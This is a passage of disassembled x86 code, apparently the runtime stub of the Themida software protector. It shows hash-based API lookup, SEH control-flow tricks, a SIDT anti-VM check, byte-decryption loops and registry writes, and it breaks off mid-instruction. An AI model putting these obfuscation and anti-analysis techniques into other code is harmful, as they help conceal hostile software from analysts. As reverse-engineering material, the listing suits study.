[ebp+6140849h], 56h push 9CA8B852h push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+616FBF0h], eax mov byte ptr [ebp+6140849h], 47h push 0EC18AC9Bh push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax call eax mov esi, eax mov byte ptr [ebp+6140849h], 4Fh push 0C62F2661h push dword ptr [ebp+6142B25h] lea eax, [ebp+6143B4Eh] call eax lea ebx, [ebp+616FBECh] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+6140849h], 41h push 0DB876498h push dword ptr [ebp+6142B25h] lea eax, [ebp+6143B4Eh] call eax mov [ebp+616FC09h], eax mov byte ptr [ebp+6140849h], 4Ch push 80A4E7A4h push dword ptr [ebp+6142B25h] lea eax, [ebp+6143B4Eh] call eax mov ebx, [ebp+616FBF0h] lea ebx, [ebx+4] push ebx lea ebx, [ebp+616FBF5h] push ebx push 0 call eax mov ebx, [ebp+616FBF0h] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+614347Dh] mov dword ptr [ebp+61409EDh], 0 push 0 push 0 push 0 mov ebx, [ebp+616FBF0h] push ebx push 0 push dword ptr [ebp+616FBECh] call dword ptr [ebp+616FC09h] loc_5B0886: ; CODE XREF: Themida_:005B077Ej mov byte ptr [ebp+6140849h], 45h push 92A5F797h push dword ptr [ebp+6142965h] lea eax, [ebp+6143B4Eh] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_5B08E0 mov ebx, [ebp+616FBF0h] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+616FBF0h] push ebx push 0 push dword ptr [ebp+616FBECh] call dword ptr [ebp+616FC09h] push dword ptr [ebp+616FBECh] call dword ptr [ebp+6140B75h] loc_5B08E0: ; CODE XREF: Themida_:005B0772j ; Themida_:005B08ACj push 0 call dword ptr [ebp+6141869h] mov di, bx sub cx, 7792h lea eax, [ebp+6172E84h] cmc jb loc_5B0901 mov dx, 5EBEh loc_5B0901: ; CODE XREF: Themida_:005B08F7j push eax jmp loc_5B091A ; --------------------------------------------------------------------------- sbb [ecx-12h], esp test edx, ebx mov ds, word ptr ds:0D9EC8F7h[ebp] lds ebx, [ecx+55631758h] inc esp loc_5B091A: ; CODE XREF: Themida_:005B0902j push large dword ptr fs:0 sub dx, 4A8Ah mov large fs:0, esp push 0 push edx call sub_5B0938 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0938 proc near ; CODE XREF: Themida_:005B0930p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5B0938 endp ; --------------------------------------------------------------------------- sal ch, 0A0h das movzx ecx, bx cmp dword ptr [ebp+6140CC9h], 0 jz loc_5B0996 mov edx, 6FAA85F5h cmp dword ptr [ebp+61401CDh], 1 jnz loc_5B0996 push edi pop edx cmp byte ptr [ebp+6170009h], 0 jnz loc_5B0996 jnp loc_5B0989 mov [ebp+6140C31h], ebx loc_5B0989: ; CODE XREF: Themida_:005B097Dj jmp loc_5B0B38 ; --------------------------------------------------------------------------- push esi mov [ebp+61404EDh], esi pop ecx loc_5B0996: ; CODE XREF: Themida_:005B0956j ; Themida_:005B0968j ... xor ebx, ebx mov edx, [ebp+6142DC9h] xor eax, eax jge loc_5B09A9 mov di, bx loc_5B09A9: ; CODE XREF: Themida_:005B09A0j inc eax ; --------------------------------------------------------------------------- dw 3F0Fh dd 8F640B07h, 5, 4C48300h, 1FE68160h, 6152E538h, 71D8D8Bh dd 0FB830614h, 10840FFFh, 89000000h, 141121B5h, 154E906h dd 37BF0000h, 0E95298F1h, 0A1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 2EC35141h, 0FB5C94B1h, 532C37A7h dd 1E458D89h, 0E85F0614h, 6, 53BEA2E2h, 0B9BA0768h, 5F24CD5Dh dd 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h dd 0C245C8Bh, 0E855h, 815D0000h, 172EA6EDh, 0B8838B06h dd 8D000000h, 172F9C85h, 0B8838906h, 5D000000h, 8BC3C033h dd 50006AF8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8B3315EBh, 140CC195h, 9C858D06h, 6A06172Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 9FA5C351h, 6E595AF2h, 55006A50h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7BAC2504h dd 0D58D89A1h, 0E9061425h, 14h, 0AEA7ACF1h, 31EF4114h dd 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 35FF64h, 8B000000h dd 141ADD95h, 25896406h, 0 dd 8E0Fh, 0AB90000h, 0B8000000h, 4855D704h, 0F7816405h dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h dd 564D5868h, 85C70A75h, 6140029h, 1 ; --------------------------------------------------------------------------- loc_5B0B38: ; CODE XREF: Themida_:loc_5B0989j pop large dword ptr fs:0 add esp, 4 ja loc_5B0B49 cld loc_5B0B49: ; CODE XREF: Themida_:005B0B42j jge loc_5B0B55 or [ebp+614087Dh], eax loc_5B0B55: ; CODE XREF: Themida_:loc_5B0B49j mov eax, eax movzx edx, di cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5B0B6C cmp dword ptr [ebp+6140E25h], 0 jz short loc_5B0B85 loc_5B0B6C: ; CODE XREF: Themida_:005B0B61j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+61424F1h], eax lea ebx, [ebp+616A7B9h] call ebx ; _iob pop ebx pop eax loc_5B0B85: ; CODE XREF: Themida_:005B0B6Aj cmp dword ptr [ebp+6140E25h], 0 jz short loc_5B0BA5 push eax push ebx mov eax, 43Dh mov [ebp+61424F1h], eax lea ebx, [ebp+616A45Ah] call ebx ; _iob pop ebx pop eax loc_5B0BA5: ; CODE XREF: Themida_:005B0B8Cj js loc_5B0BB4 jns loc_5B0BB4 and dh, 51h loc_5B0BB4: ; CODE XREF: Themida_:loc_5B0BA5j ; Themida_:005B0BABj jb $+6 jp loc_5B0BC2 mov edx, ebx loc_5B0BC2: ; CODE XREF: Themida_:005B0BBAj mov eax, eax jmp loc_5B0D10 ; --------------------------------------------------------------------------- db 4, 2 dup(0) dd 392E3100h, 3031h, 6 dup(0) db 0 db 2 dup(0), 45h aXceptionInform db 'xception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_5B0D10: ; CODE XREF: Themida_:005B0BC4j cmp dword ptr [ebp+6142A51h], 0 jz loc_5B0E4A lea eax, [ebp+616A271h] push eax lea eax, [ebp+616A1DBh] push eax push 80000001h call dword ptr [ebp+616A281h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+6173037h] push eax push 0 push 0 lea eax, [ebp+616A1EFh] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+617303Bh] push eax push 0 push 0 lea eax, [ebp+616A201h] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+6173047h] push eax push 0 push 0 lea eax, [ebp+616A24Eh] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+617304Fh] push eax push 0 push 0 lea eax, [ebp+616A26Ch] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+617304Bh] push eax push 0 push 0 lea eax, [ebp+616A255h] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+617303Fh] push eax push 0 push 0 lea eax, [ebp+616A25Dh] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] lea eax, [ebp+617302Dh] push eax lea eax, [ebp+6173043h] push eax push 0 push 0 lea eax, [ebp+616A264h] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+61416C9h] push dword ptr [ebp+616A271h] call dword ptr [ebp+6142FF1h] jmp loc_5B0EEC ; --------------------------------------------------------------------------- loc_5B0E4A: ; CODE XREF: Themida_:005B0D17j cmp dword ptr [ebp+6140CA5h], 0 jz loc_5B0EEC cmp dword ptr [ebp+61401CDh], 0 jnz loc_5B0E75 mov edx, [ebp+6143169h] add edx, 1CF8h jmp loc_5B0E84 ; --------------------------------------------------------------------------- loc_5B0E75: ; CODE XREF: Themida_:005B0E5Ej lea edx, [ebp+6141D55h] mov edx, [edx+34h] add edx, 3BD4C340h loc_5B0E84: ; CODE XREF: Themida_:005B0E70j mov [ebp+6140FC9h], edx cmp dword ptr [ebp+6140FC9h], 0 jz loc_5B0EEC mov ebx, [ebp+6140FC9h] add ebx, 4Ch mov eax, [ebx] mov [ebp+6173037h], eax mov ebx, [ebp+6140FC9h] add ebx, 50h mov eax, [ebx] mov [ebp+617303Bh], eax mov ebx, [ebp+6140FC9h] add ebx, 54h mov eax, [ebx] mov [ebp+6173047h], eax mov ebx, [ebp+6140FC9h] add ebx, 58h mov eax, [ebx] mov [ebp+617304Bh], eax mov ebx, [ebp+6140FC9h] add ebx, 5Ch mov eax, [ebx] mov [ebp+617303Fh], eax loc_5B0EEC: ; CODE XREF: Themida_:005B0E45j ; Themida_:005B0E51j ... cmp dword ptr [ebp+6142A51h], 0 jnz loc_5B0F06 cmp dword ptr [ebp+6140CA5h], 0 jz loc_5B0F6E loc_5B0F06: ; CODE XREF: Themida_:005B0EF3j push dword ptr [ebp+617304Fh] push dword ptr [ebp+6173043h] push dword ptr [ebp+617303Fh] push dword ptr [ebp+617304Bh] push dword ptr [ebp+6173047h] push dword ptr [ebp+617303Bh] push dword ptr [ebp+6173037h] lea eax, [ebp+6173031h] push eax lea eax, [ebp+6173069h] push eax lea eax, [ebp+61420DDh] push eax call dword ptr [ebp+6141239h] add esp, 24h push 40h lea eax, [ebp+6173053h] push eax lea eax, [ebp+61420DDh] push eax push 0 call dword ptr [ebp+61424DDh] push 1 call dword ptr [ebp+6141869h] loc_5B0F6E: ; CODE XREF: Themida_:005B0F00j mov eax, ecx jmp short loc_5B0F8A ; --------------------------------------------------------------------------- dw 0F317h dd 9B46h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B0F8A: ; CODE XREF: Themida_:005B0F70j jmp loc_5B119A ; --------------------------------------------------------------------------- loc_5B0F8F: ; CODE XREF: Themida_:005B0FA4j pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 61733FDh popa retn 4 ; --------------------------------------------------------------------------- jmp loc_5B0F8F ; --------------------------------------------------------------------------- loc_5B0FA9: ; CODE XREF: Themida_:005B0FAEj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B0FA9 ; --------------------------------------------------------------------------- loc_5B0FB3: ; CODE XREF: Themida_:005B0FB8j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B0FB3 ; --------------------------------------------------------------------------- loc_5B0FBD: ; CODE XREF: Themida_:005B0FC2j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B0FBD ; --------------------------------------------------------------------------- loc_5B0FC7: ; CODE XREF: Themida_:005B0FCCj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B0FC7 ; --------------------------------------------------------------------------- align 4 dd 0 dd 0C3616000h, 0FFFFF8E9h, 35B58BFFh, 81061734h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 39B53B00h, 0F061734h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 0FC9858Bh, 18860614h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 4D95FF08h, 50061403h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 0FC9858Bh, 0C60614h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 6140FC9h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6140DF1h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5B10DB ; --------------------------------------------------------------------------- mov dword ptr [ebp+6140DF1h], 100h loc_5B10DB: ; CODE XREF: Themida_:005B10CCj pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_5B119A: ; CODE XREF: Themida_:loc_5B0F8Aj mov ax, ds test al, 4 jz loc_5B11CE mov dword ptr [ebp+61733DAh], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+61733DEh] lea eax, [ebp+61733D6h] lea edi, [ebp+61733DEh] mov [eax], edi jmp loc_5B11F1 ; --------------------------------------------------------------------------- loc_5B11CE: ; CODE XREF: Themida_:005B119Fj lea eax, [ebp+6141D55h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+61733D6h], eax lea eax, [ebp+6141D55h] mov eax, [eax+3Ch] mov [ebp+61733DAh], eax loc_5B11F1: ; CODE XREF: Themida_:005B11C9j lea eax, [ebp+61733F3h] mov [ebp+614034Dh], eax jmp loc_5B1289 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5B121D ; --------------------------------------------------------------------------- loc_5B1216: ; CODE XREF: Themida_:005B121Fj add [esi], al xor [esi], al ror eax, 1 inc esi loc_5B121D: ; CODE XREF: Themida_:005B1211j cmp esi, edi jb loc_5B1216 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5B1245 ; --------------------------------------------------------------------------- loc_5B123E: ; CODE XREF: Themida_:005B1247j xor [esi], al sub [esi], al ror eax, 1 inc esi loc_5B1245: ; CODE XREF: Themida_:005B1239j cmp esi, edi jb loc_5B123E popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_5B1278 ; --------------------------------------------------------------------------- loc_5B1265: ; CODE XREF: Themida_:005B127Aj lodsb cmp al, 2Dh jz loc_5B1278 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_5B1278: ; CODE XREF: Themida_:005B1260j ; Themida_:005B1268j or ecx, ecx jnz loc_5B1265 mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_5B1289: ; CODE XREF: Themida_:005B11FDj lea eax, [ebp+6173666h] mov [ebp+61430DDh], eax lea eax, [ebp+617368Eh] mov [ebp+6140895h], eax lea eax, [ebp+61736B6h] mov [ebp+6142C3Dh], eax pusha jl loc_5B12B8 mov cx, 5B1Ch loc_5B12B8: ; CODE XREF: Themida_:005B12AEj mov eax, eax jmp loc_5B12CA ; --------------------------------------------------------------------------- db 0F4h dd 0F5019556h, 73566A37h db 0CCh db 7Ch ; --------------------------------------------------------------------------- loc_5B12CA: ; CODE XREF: Themida_:005B12BAj cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5B12DC cmp dword ptr [ebp+6140E25h], 0 jz short loc_5B12F5 loc_5B12DC: ; CODE XREF: Themida_:005B12D1j push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5B12F5: ; CODE XREF: Themida_:005B12DAj cmp dword ptr [ebp+6140E25h], 0 jz short loc_5B1315 push eax push ebx mov eax, 40Eh mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5B1315: ; CODE XREF: Themida_:005B12FCj push 0 push ebp call sub_5B1320 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1320 proc near ; CODE XREF: Themida_:005B1318p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5B1320 endp ; --------------------------------------------------------------------------- dd 839D4F4Fh, 0CF73BA66h, 0CFEE8166h, 66C08B4Dh, 8375E2BEh dd 140CC9BDh, 840F0006h, 0Bh, 265E9F9h, 6CBE0000h, 8C598763h dd 0C7F766DFh, 850F0004h, 253h, 7ECE8166h, 247B9BCh, 0BD83064Dh dd 61416D1h, 4A850F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7CDCC357h dd 3DCA8166h, 215E96Eh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 66BD3DC3h, 6B74BFBEh dd 0B9FF2B0Dh, 3798B55Ch, 39BF9D8Dh, 0E8500617h, 0Dh, 0ABB0DB52h dd 82C006A8h, 14FCC170h, 6BA662Fh, 1C895A50h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BF0FCB4Eh, 0D98166C9h, 860FC62Ch, 5, 4FA6D1B9h, 35FF643Dh dd 0 ; --------------------------------------------------------------------------- mov ecx, 37BD3348h mov large fs:0, esp push 0 push edi call sub_5B143F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B143F proc near ; CODE XREF: Themida_:005B1437p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B143F endp ; --------------------------------------------------------------------------- db 0ECh dd 74D173F1h, 0C48B8B08h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 70C35343h, 0CDFCE477h, 6A00EB01h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 2445C357h, 9E241E3Fh, 8BC364B1h, 58F64D6h, 0 dd 0E804C483h, 0Bh, 0EB22C6F4h, 22EB0BDBh, 0BECF511Eh dd 7CFC6CB7h, 11E95Ah, 1EE40000h, 25B07523h, 0C098ABC0h dd 0DD2DD2E4h, 0B0C2B82h, 0DC840FC0h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 23DCC352h, 53A9C0B3h, 5AF18B66h, 7E961h, 9D030000h dd 8DF5B72Fh, 0AFBD8D5Bh, 0BE061472h, 24E01AE1h, 1B8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 5F73B7BDh, 0D7BF0F1Bh, 10E9E7FFh, 5E000000h dd 38C84157h, 0BAB8151h, 0D45839Bh, 57824DFAh, 10245C8Bh dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h dd 0B8h, 0C0335F02h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0B63C3F12h, 53006A1Eh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 6172B2F6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 18C35747h, 0DAE0C22Bh, 0DE476F9Eh, 880FC08Bh, 0Ah dd 4800Fh, 0BA660000h, 0BD83384Eh, 61410F1h, 83097500h dd 140E25BDh, 19740006h, 0C08B5350h, 40EB8h, 0F1858900h dd 8D061424h, 16A7B99Dh, 5BD3FF06h, 25BD8358h, 6140Eh dd 53501774h, 40EB8h, 0F1858900h, 8D061424h, 16A45A9Dh dd 5BD3FF06h, 0CE958h, 46650000h, 61105F42h, 6CC05047h dd 0BA51929Dh, 1D4F11E3h, 66C08B5Eh, 8B9CF7BEh, 12E8C2h dd 97F40000h, 0D02C8DACh, 54DE782Eh, 3404C1E8h, 0F98AF41Ah dd 58DF8B66h, 5820Fh, 81660000h, 819D8BE2h, 5991C0h, 8E96000h dd 44000000h, 0EBA92081h, 0FD4E958h, 6861FBB7h, 1634h dd 66C4E381h, 0F5E5B89h, 30FFC8B7h, 8B66F560h, 0E95F61F8h dd 0Bh, 42B0BCEEh, 8CDCED19h, 81B29BECh, 79A3CAEFh, 8128B277h dd 2E1344C7h, 0CE8B573Ch, 0DEF7815Ah, 807A485Bh, 805743CAh dd 8FBBCFh, 0E883D78Bh, 0F4EF804h, 1885h, 8E900h, 0C98D0000h dd 0B42146C2h, 24E9F5F0h, 81000000h, 3BDE090Bh, 0F38166B3h dd 97E995BCh, 0EAFFFFFFh, 0A5EC56FDh, 69EBA836h, 0CE72B1Bh dd 4653BCFFh, 0EBB82E10h, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0CD858B24h dd 8D061401h, 176BA685h, 8B088B06h, 100088h, 660A8B00h dd 89FC4A8Bh, 173B918Dh, 0D1BD8306h, 61416h, 0F840Fh, 6A600000h dd 7195FF00h, 61061429h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 3B8D8589h, 0B58B0617h, 6173B91h dd 6610CEC1h, 8B027289h, 173B91B5h, 72896606h, 858B61FCh dd 6173B8Dh, 9D958DC3h, 89061413h, 140FC995h, 55958906h dd 0FF061400h, 14005585h, 4985C606h, 53061408h, 0B148D868h dd 2DB5FFFCh, 8D06140Ch, 143B4E85h, 89D0FF06h, 14297185h dd 0D858D06h, 89061734h, 14080185h, 20EB06h, 7 dup(0) dd 0E9000000h, 544h, 538E9h, 3DEC6800h, 51E90617h, 68FFFD44h dd 6173E87h, 0FD4447E9h, 407A68FFh, 3DE90617h, 68FFFD44h dd 61740CDh, 0FD4433E9h, 0C7BACAFFh, 0EAA3A443h, 138EB926h dd 3B72900Fh, 245968F7h, 0C1715BE0h, 0DC4BCFC2h, 0B532F6AFh dd 8D1A1E99h, 91FC007Bh, 0AEBE8D2Ah, 9E3555E7h, 316C671Ah dd 0FB3D4A1Ah, 0F779AE18h, 1D20813Dh, 0FFD3F0C2h, 138EBDCCh dd 0C36C9FFBh, 0D3F0C270h, 0E6858FF3h, 0DF9D438Fh, 18390594h dd 0F7000000h, 0F09285B9h, 0D5A34253h, 5F3F79A6h, 503449DFh dd 131ECCh, 0B9940000h, 53F09286h, 0A7D4A041h, 0DF5F3E06h dd 0D3573B49h, 316C6701h, 92A49819h, 62ADD3F0h, 0D4D1FC0Bh dd 0AADE3050h, 0B4CB2691h, 6AEE1E97h, 0F092D063h, 0F91453D3h dd 1B9A98BCh, 0D3F06224h, 0C090ABAFh, 0D0E97B7Ah, 0A501134Fh dd 0DF07A8DAh, 418CF414h, 0B6C5496Dh, 0DCE1E9BEh, 388509D6h dd 261D9191h, 0DAD22044h, 0D34E7D0Bh, 0F09FE752h, 1A187CD3h dd 9D660CA9h, 8B8FC9DCh, 9D0B3273h, 6EE9D5E4h, 9825CB07h dd 0E3710BA8h, 0AD0AC6BEh, 0D5E40D9Eh, 0FBFF3115h, 2FD85AB6h dd 62h, 1B618085h, 0D4F675E0h, 0EF25A1D9h, 0DF5EC5EEh dd 0E11A7E49h, 0F135689Ah, 0A5A25476h, 5074D0E8h, 134942CFh dd 0FCCE3E69h, 323h, 0FC007B8Bh, 0E72B6263h, 0CC504D78h dd 0BA7E3553h, 9F631E2Dh, 7B8A381Ch, 68650206h, 527EE92Dh dd 3254D357h, 67DAB77Bh, 0E7AF0BC6h, 414B8855h, 2EE2Ah dd 6C674000h, 3FAA1931h, 0F09243FEh, 0B67CC053h, 0F09278C7h dd 93C78653h, 0B3953F0h, 0CF53F092h, 191B92B0h, 0F092A19Ch dd 92E05F53h, 2F1E53F0h, 0E813F092h, 0DF587319h, 89DF8379h dd 67E8EF2h, 3D7A91E7h, 8FCA6759h, 397495D2h, 0ACBA7701h dd 0B68A179Bh, 38739592h, 9F608400h, 0A2FFA11Ch, 8826F464h dd 0E0000002h, 0FE69ADE0h, 0D34CD0CDh, 0AE39FDB8h, 8621E5A0h dd 85060A87h, 0A9E4E353h, 0D0CDFA65h, 0FCB7D34Ch, 0EE9DAF38h dd 0B3FC4F2Ah, 55E7AC80h, 67CCF003h, 95063665h, 0CCFCB9D6h dd 9263DE5Fh, 9CE053F0h, 0E302BA78h, 0E3396695h, 5049DF5Fh dd 0C5328ECh, 27129301h, 0BC55E7AEh, 0A17EB4D8h, 89D0EBA6h dd 0EA18077Ah, 0F53F9BB3h, 0EAA7A23Dh, 0ED9B6AD2h, 630351DEh dd 8EC04FC8h, 0D183F720h, 20E40853h, 0B8F5146Bh, 8F0E0480h dd 5FDEA8B0h, 0A4DFED7Ch, 9A1B3094h, 5FDEA8AFh, 0DAD22024h dd 0E14E7D0Bh, 45F165BFh, 48BBD0B4h, 2A8B0F31h, 41B5E41Fh dd 7C8CB094h, 9CACE7E3h, 411E1438h, 0CC3F4C3Fh, 0F9118CBDh dd 0E4ED5C9Dh, 0E26641B5h, 0C5C76010h, 5767222Dh, 0E488BBE4h dd 70B41B5h, 6ECFFFE3h, 41B5E4CFh, 98B3D928h, 9A29DD1Fh dd 0F90A515Bh, 2E5E4D7Fh, 127686AAh, 6F9CE000h, 0FA8EE10h dd 4BAC203Ch, 6BAFD3B7h, 0B8D3CAFCh, 3BEDA0A1h, 0B881D614h dd 6D59DBFDh, 0AC5161CCh, 0A327C64Bh, 13C2DDE9h, 9E15331Fh dd 0A2C6EA6Eh, 69DC0CA9h, 31155183h, 4A41431Ah, 21BFB5C6h dd 0BC667E0h, 884D8389h, 46DE9284h, 0F043EC1Fh, 734D83BDh dd 3456050Fh, 37324279h, 28596F1h, 0C7430C2h, 17C8FFDh dd 836695A4h, 0FD2A2E4Dh, 5DB9D1CCh, 0D4BD4D7h, 0E657ACABh dd 74CB6A62h, 96777BA3h, 4E2EDDABh, 0B2536B0Bh, 66749B60h dd 0AA1FF8B8h, 55484706h, 9053A125h, 13h, 7F86B91Ch, 28EB53F0h dd 0B8000000h, 0D2EAA5A1h, 8BBABC76h, 60E2CBFDh, 0F406A223h dd 0CFB2D8Ch, 5C59DB19h, 53F00EE1h, 0C675B22Dh, 5D53F002h dd 80313BF9h, 47E01B61h, 49DF5F1Dh, 0E25A72D6h, 0D9467503h dd 4FCB7E79h, 189196FAh, 6062FF16h, 953A08h, 0ED1D0000h dd 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh, 0BE92191Dh dd 8084F908h, 6FB3EAE7h, 55D9D4F0h, 41C5B8CAh, 0F948D554h dd 7A55E7D2h, 6180D7D9h, 1D47E01Bh, 0D649DF5Fh, 3E25A72h dd 99D94675h, 5A4FCB53h, 3BC231F6h, 82FA62FFh, 42B0h, 0E79AAA00h dd 0A838423h, 336E9906h, 5B5270EFh, 443948D7h, 0A1113BC0h dd 0BC2BEFA2h, 9512168Fh, 6DFA3E79h, 0B1DC205Bh, 0D25EED4Ah dd 0BED555E7h, 0D2A7Ah, 8C400000h, 4E3F401Fh, 0C1F9B4D1h dd 6745CF45h, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h dd 6E6B68h, 241C8900h, 5E08950h, 4, 42Dh, 24048700h, 242C895Ch dd 0D8168h, 240C8900h, 4EC81h, 34890000h, 3CADBE24h, 0F5890617h dd 4EC815Eh, 89000000h, 4812424h, 424h, 93685900h, 89000009h dd 8BA2414h, 1000000h, 5A2A89CAh, 51240C8Bh, 0C181E189h dd 4, 8704C183h, 8B5C240Ch ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- aaa dec edx and edi, [eax+6174134h] add eax, ebp mov ecx, eax jmp loc_5B1DB8 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov 